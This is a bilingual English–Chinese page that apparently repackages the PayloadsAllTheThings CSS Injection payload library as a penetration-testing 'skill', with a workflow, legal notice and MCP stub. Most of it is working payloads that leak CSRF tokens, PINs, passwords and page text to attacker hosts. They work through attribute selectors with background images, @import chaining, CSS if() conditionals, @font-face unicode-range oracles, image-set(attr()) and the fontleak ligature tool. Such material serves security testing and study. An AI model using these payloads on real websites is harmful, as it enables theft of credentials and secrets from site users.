payloads-css-injection

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

CSS Injection Payloads

CSS Injection 攻击载荷

Source: PayloadsAllTheThings/CSS Injection Category:
payloads-web
| Skill ID:
payloads-css-injection
来源: PayloadsAllTheThings/CSS Injection 分类:
payloads-web
| Skill ID:
payloads-css-injection

Overview

概述

CSS injection payloads for data exfiltration, UI redress, and attribute value theft.
This skill integrates the full PayloadsAllTheThings (PATT) payload library for the CSS Injection Payloads domain into the REA_Skill framework. Use it during authorized penetration testing, bug bounty research, security audits, and CTF challenges.
用于数据外泄、UI 重构(UI redress)和属性值窃取的 CSS 注入攻击载荷。
本 skill 将完整的 PayloadsAllTheThings(PATT)攻击载荷库中 CSS Injection Payloads 领域的内容集成到 REA_Skill 框架中。请在获得授权的渗透测试、漏洞赏金研究、安全审计和 CTF 挑战中使用。

Workflow

工作流程

1. Recon & Identification

1. 侦察与识别

  • Identify the target technology stack and injection points
  • Enumerate endpoints, parameters, and input vectors
  • Determine applicable payload categories from the reference below
  • 识别目标技术栈和注入点
  • 枚举端点、参数和输入向量
  • 根据下方参考内容确定适用的攻击载荷类别

2. Payload Selection

2. 攻击载荷选择

  • Browse the PATT payload library for the attack class
  • Select encoding-appropriate payloads for the target environment
  • Consider WAF bypass variants and obfuscation techniques
  • 浏览 PATT 攻击载荷库中对应攻击类别的内容
  • 为目标环境选择合适的编码方式(encoding)攻击载荷
  • 考虑 WAF 绕过变体和混淆技术

3. Exploitation (Authorized Only)

3. 漏洞利用(仅限授权场景)

  • Test payloads in order: passive → active → escalation
  • Document every payload tested and its response
  • Capture PoC evidence (screenshots, HTTP logs, curl output)
  • 按顺序测试攻击载荷:被动 → 主动 → 权限提升
  • 记录每一个测试过的攻击载荷及其响应
  • 收集 PoC 证据(截图、HTTP 日志、curl 输出)

4. Verification & Reporting

4. 验证与报告

  • Confirm the vulnerability with a clean minimal PoC
  • Map findings to CVE/CWE where applicable
  • Report with remediation recommendations and code fixes

  • 使用简洁的最小化 PoC 确认漏洞
  • 在适用的情况下将发现映射到 CVE/CWE
  • 报告应包含修复建议和代码补丁

Full PATT Reference

完整 PATT 参考

CSS Injection

CSS Injection

CSS Injection is a vulnerability that occurs when an application allows untrusted CSS to be injected into a web page. This can be exploited to exfiltrate sensitive data, such as CSRF tokens or other secrets, by manipulating the page layout or triggering network requests based on element attributes.
CSS Injection(CSS 注入)是一种漏洞,当应用程序允许不可信的 CSS 被注入到网页中时就会产生该漏洞。攻击者可通过操纵页面布局或基于元素属性触发网络请求来外泄敏感数据,例如 CSRF token 或其他机密信息。

Summary

摘要

Tools

工具

Methodology

方法论

CSS Selectors

CSS 选择器

CSS selectors can be used to exfiltrate data. This technique is particularly useful because CSS is often allowed in CSP rules, whereas JavaScript is frequently blocked.
The attack works by brute-forcing a token character by character. Once the first character is identified, the payload is updated to guess the second character, and so on. This often requires an iframe to reload the page with the new payload.
  • input[value^=a]
    (prefix attribute selector): Selects elements where the value starts with "a".
  • input[value$=a]
    (suffix attribute selector): Selects elements where the value ends with "a".
  • input[value*=a]
    (substring attribute selector): Selects elements where the value contains "a".
CSS 选择器可用于外泄数据。这项技术尤其有用,因为 CSS 通常在 CSP 规则中被允许,而 JavaScript 经常被拦截。
该攻击通过逐个字符暴力猜測 token 来实现。一旦确定第一个字符,攻击载荷就会更新以猜测第二个字符,依此类推。这通常需要使用 iframe 重新加载带有新攻击载荷的页面。
  • input[value^=a]
    (前缀属性选择器):选择 value 以 "a" 开头的元素。
  • input[value$=a]
    (后缀属性选择器):选择 value 以 "a" 结尾的元素。
  • input[value*=a]
    (子串属性选择器):选择 value 包含 "a" 的元素。

Exfiltration via Background Image

通过 background image 外泄

When a selector matches, the browser attempts to load the background image from a URL controlled by the attacker, thereby leaking the character.
css
input[value^="TOKEN_012"] {
  background-image: url(http://attacker.example.com/?prefix=TOKEN_012);
}
css
input[name="pin"][value="1234"] {
  background: url(https://[ATTACKER.DOMAIN.TLD]/log?pin=1234);
}
Tips:
  • Hidden Inputs: You cannot apply a background image directly to a hidden input field. Instead, use a sibling selector (
    +
    or
    ~
    ) to style a visible element that appears after the hidden input.
css
input[name="csrf-token"][value^="a"] + input {
  background: url(https://[ATTACKER.DOMAIN.TLD]/?q=a)
}
  • Has Selector: The
    :has()
    pseudo-class allows styling a parent element based on its children.
css
div:has(input[value="1337"]) {
  background:url(/collectData?value=1337);
}
  • Concurrency: Use both prefix and suffix selectors to speed up the guessing process. You can assign the prefix check to one property (e.g.,
    background
    ) and the suffix check to another (e.g.,
    list-style-image
    or
    border-image
    ).
当选择器匹配时,浏览器会尝试从攻击者控制的 URL 加载 background image,从而泄露该字符。
css
input[value^="TOKEN_012"] {
  background-image: url(http://attacker.example.com/?prefix=TOKEN_012);
}
css
input[name="pin"][value="1234"] {
  background: url(https://[ATTACKER.DOMAIN.TLD]/log?pin=1234);
}
提示:
  • 隐藏输入框:无法为隐藏的 input 字段直接应用 background image。此时应使用兄弟选择器(
    +
    或
    ~
    )来为隐藏 input 之后出现的可见元素设置样式。
css
input[name="csrf-token"][value^="a"] + input {
  background: url(https://[ATTACKER.DOMAIN.TLD]/?q=a)
}
  • Has 选择器:
    :has()
    伪类允许根据子元素来为父元素设置样式。
css
div:has(input[value="1337"]) {
  background:url(/collectData?value=1337);
}
  • 并发:同时使用前缀和后缀选择器可以加快猜测速度。可以将前缀检测分配给某个属性(如
    background
    ),后缀检测分配给另一个属性(如
    list-style-image
    或
    border-image
    )。

CSS Import at-rule

CSS Import at 规则

This technique is known as Blind CSS Exfiltration. It relies on importing external stylesheets to trigger callbacks.
html
<style>@import url(http://[ATTACKER.DOMAIN.TLD]/staging?len=32);</style>
<style>@import'//[ATTACKER.DOMAIN.TLD]'</style>
Frames do not always need to be reloaded to reevaluate CSS. The
@import
rule allows for latency; the browser will process the import and apply the new styles.
该技术被称为 Blind CSS Exfiltration。它依赖导入外部样式表来触发回调。
html
<style>@import url(http://[ATTACKER.DOMAIN.TLD]/staging?len=32);</style>
<style>@import'//[ATTACKER.DOMAIN.TLD]'</style>
框架(frame)并不总是需要重新加载才能重新评估 CSS。
@import
规则允许存在延迟;浏览器会处理该导入并应用新的样式。

Sequential Import Chaining (SIC)

顺序 Import 链(SIC)

SIC allows an attacker to chain multiple extraction steps without reloading the page:
  1. Inject an initial
    @import
    rule pointing to a staging payload.
  2. The staging payload holds the connection open (long-polling) while generating the next specific payload.
  3. When a CSS rule matches (e.g., a character is found via
    background-image
    ), the browser makes a request.
  4. The server detects this request and generates the next
    @import
    rule to continue the chain.
SIC 允许攻击者在不重新加载页面的情况下链式执行多个提取步骤:
  1. 注入一条指向 staging 攻击载荷的初始
    @import
    规则。
  2. staging 攻击载荷在生成下一个具体攻击载荷的同时保持连接(长轮询)。
  3. 当某条 CSS 规则匹配时(例如通过
    background-image
    找到某个字符),浏览器会发起请求。
  4. 服务器检测到该请求并生成下一条
    @import
    规则以延续链式过程。

CSS Conditionals

CSS 条件语句

Inline Style Exfiltration

内联样式外泄

This advanced technique leverages CSS conditionals (like
if()
) and variables to perform logic directly within a style attribute.
Example: Stealing a
data-uid
attribute if it matches a value between 1 and 10.
html
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
这项高级技术利用 CSS 条件语句(如
if()
)和变量,直接在 style 属性内部执行逻辑判断。
示例:窃取处于 1 到 10 之间的
data-uid
属性值。
html
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>

CSS Font-face at-rule

CSS Font-face at 规则

The @font-face CSS at-rule specifies a custom font with which to display text; the font can be loaded from either a remote server or a locally-installed font on the user's own computer. - Mozilla
The
unicode-range
property allows specific fonts to be used for specific characters. We can abuse this to detect if a specific character is present on the page.
If the character "A" is present, the browser attempts to load the font from
/?A
. If "C" is not present, that request is never made.
html
<style>
@font-face{ font-family:poc; src: url(http://attacker.example.com/?A); /* fetched */ unicode-range:U+0041; }
@font-face{ font-family:poc; src: url(http://attacker.example.com/?B); /* fetched too */ unicode-range:U+0042; }
@font-face{ font-family:poc; src: url(http://attacker.example.com/?C); /* not fetched */ unicode-range:U+0043; }
#sensitive-information{ font-family:poc; }
</style>
<p id="sensitive-information">AB</p>
Limitations:
  • It cannot distinguish repeated characters (e.g., "AA" triggers the request once).
  • It does not determine the order of characters.
  • Despite these limitations, it is a very reliable oracle for checking character existence.
  • Chrome checked this as "WontFix": issues/40083029
@font-face CSS at 规则用于指定一个自定义字体来显示文本;该字体可以从远程服务器加载,也可以是安装在用户本地电脑上的字体。 - Mozilla
unicode-range
属性允许针对特定字符使用特定字体。我们可以滥用这一特性来检测页面上是否存在某个特定字符。
如果字符 "A" 存在,浏览器会尝试从
/?A
加载字体。如果 "C" 不存在,则永远不会发出该请求。
html
<style>
@font-face{ font-family:poc; src: url(http://attacker.example.com/?A); /* fetched */ unicode-range:U+0041; }
@font-face{ font-family:poc; src: url(http://attacker.example.com/?B); /* fetched too */ unicode-range:U+0042; }
@font-face{ font-family:poc; src: url(http://attacker.example.com/?C); /* not fetched */ unicode-range:U+0043; }
#sensitive-information{ font-family:poc; }
</style>
<p id="sensitive-information">AB</p>
局限性:
  • 无法区分重复字符(例如 "AA" 只会触发一次请求)。
  • 无法确定字符的顺序。
  • 尽管存在这些局限性,它仍是检测字符是否存在的非常可靠的判定器(oracle)。
  • Chrome 将此问题标记为 "WontFix":issues/40083029

Attribute Extraction via attr()

通过 attr() 提取属性

The CSS
attr()
function allows CSS to retrieve the value of an attribute of the selected element. With recent updates (see Advanced attr()), this function can be used to extract input's value.
Target HTML:
html
<html>
    <head>
        <link rel="stylesheet" href="http://attacker.local/index.css">
    </head>
    <body>
        <input type="text" name="password" value="supersecret">
    </body>
</html>
index.css
(hosted by attacker):
css
input[name="password"] {
  background: image-set(attr(value))
}
When
image-set()
is used with
attr()
, the browser may attempt to interpret the attribute value as a URL. If the stylesheet is cross-domain, the relative URL is resolved against the stylesheet's origin, not the page's origin.
Resulting request on attacker's server:
ps1
10.10.10.10 - - [15/Feb/2026 16:33:21] "GET /supersecret HTTP/1.1" 404 -
CSS 的
attr()
函数允许 CSS 获取所选元素某个属性的值。借助近期的更新(参见 Advanced attr()),该函数可用于提取 input 的 value 值。
目标 HTML:
html
<html>
    <head>
        <link rel="stylesheet" href="http://attacker.local/index.css">
    </head>
    <body>
        <input type="text" name="password" value="supersecret">
    </body>
</html>
index.css
(由攻击者托管):
css
input[name="password"] {
  background: image-set(attr(value))
}
当
image-set()
与
attr()
一起使用时,浏览器可能会尝试将属性值解释为 URL。如果样式表是跨域的,则相对 URL 会基于样式表的源(origin)而非页面源进行解析。
攻击者服务器上收到的请求:
ps1
10.10.10.10 - - [15/Feb/2026 16:33:21] "GET /supersecret HTTP/1.1" 404 -

Ligatures

连字(Ligatures)

This technique exploits custom fonts and ligatures. A ligature combines multiple characters into a single glyph. By creating a custom font where specific character sequences (e.g., specific text content) produce a ligature with a huge width, we can detect the change in layout.
  1. Create a custom font with ligatures for target strings.
  2. Use media queries or scrollbars to detect if the rendered width of the element has changed.
ps1
docker run -it --rm -p 4242:4242 -e BASE_URL=http://localhost:4242 ghcr.io/adrgs/fontleak:latest
Payload example using
fontleak
with a custom selector, parent element, and alphabet. Warning: The CSS selector must match exactly one element in the target page.
html
<style>@import url("http://localhost:4242/?selector=.secret&parent=head&alphabet=abcdef0123456789");</style>
这项技术利用自定义字体和连字。连字会将多个字符合并为一个字形。通过创建自定义字体,使特定字符序列(例如特定文本内容)生成一个宽度极大的连字,我们就能检测到布局的变化。
  1. 创建带有目标字符串连字的自定义字体。
  2. 使用媒体查询或滚动条检测元素渲染宽度是否发生变化。
ps1
docker run -it --rm -p 4242:4242 -e BASE_URL=http://localhost:4242 ghcr.io/adrgs/fontleak:latest
使用
fontleak
搭配自定义选择器、父元素和字母表的攻击载荷示例。 警告:CSS 选择器必须与目标页面中的唯一一个元素精确匹配。
html
<style>@import url("http://localhost:4242/?selector=.secret&parent=head&alphabet=abcdef0123456789");</style>

Labs

实验环境

References

参考文章

REA MCP Integration

REA MCP 集成

javascript
// REA MCP — Automated payload injection via REA tools
// Use analyze_function, procedure_pseudo_code, or observe_native_calls
// to identify injection sinks, then apply payloads from this skill.
javascript
// REA MCP — Automated payload injection via REA tools
// Use analyze_function, procedure_pseudo_code, or observe_native_calls
// to identify injection sinks, then apply payloads from this skill.

Legal Notice

法律声明

⚠️ Authorized Use Only. All payloads in this skill are for security research, penetration testing with written permission, CTF competitions, and defensive study. Unauthorized use against systems you do not own or have explicit permission to test is illegal.
⚠️ 仅限授权使用。 本 skill 中的所有攻击载荷仅用于安全研究、获得书面许可的渗透测试、CTF 竞赛和防御性学习。未经授权对不归你所有或未获得明确测试许可的系统使用属于违法行为。